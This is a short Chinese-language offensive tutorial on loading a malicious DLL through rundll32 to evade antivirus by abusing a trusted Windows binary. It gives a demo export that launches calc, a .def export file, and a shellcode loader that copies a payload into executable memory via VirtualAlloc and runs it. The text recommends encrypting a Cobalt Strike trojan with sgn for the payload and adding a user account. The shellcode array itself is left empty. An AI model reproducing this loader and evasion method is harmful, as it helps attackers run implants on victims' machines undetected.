Rundll32加载恶意dll
rundll32加载恶意dll
0x00 原理
rundll32可以加载恶意dll的函数,比如在cmd中rundll32 a.dll fun1
,就会执行a.dll中的fun1函数
一个简单的例子,我们新建一个dll项目,在dllmain.cpp下添加如下代码:
void fun() {
system("calc");
}
再新建source.def文件,用于导出函数,如下:
LIBRARY
EXPORTS
fun
然后直接生成就可以,我们接下来测试
通过这种方式,相当于利用了windows白名单,从而达到一个规避杀软的效果。
0x01 利用代码
这里我们直接拿shellcode加密一下过来执行即可,当然我们也可以定义多个函数,再添加一些其他的小功能,比如说添加用户。
这里我们直接用sgn加密cs生成的木马,然后执行,接下来看效果。
代码如下
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include <stdlib.h>
void fun()
{
unsigned char shellcode[] = {
};
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}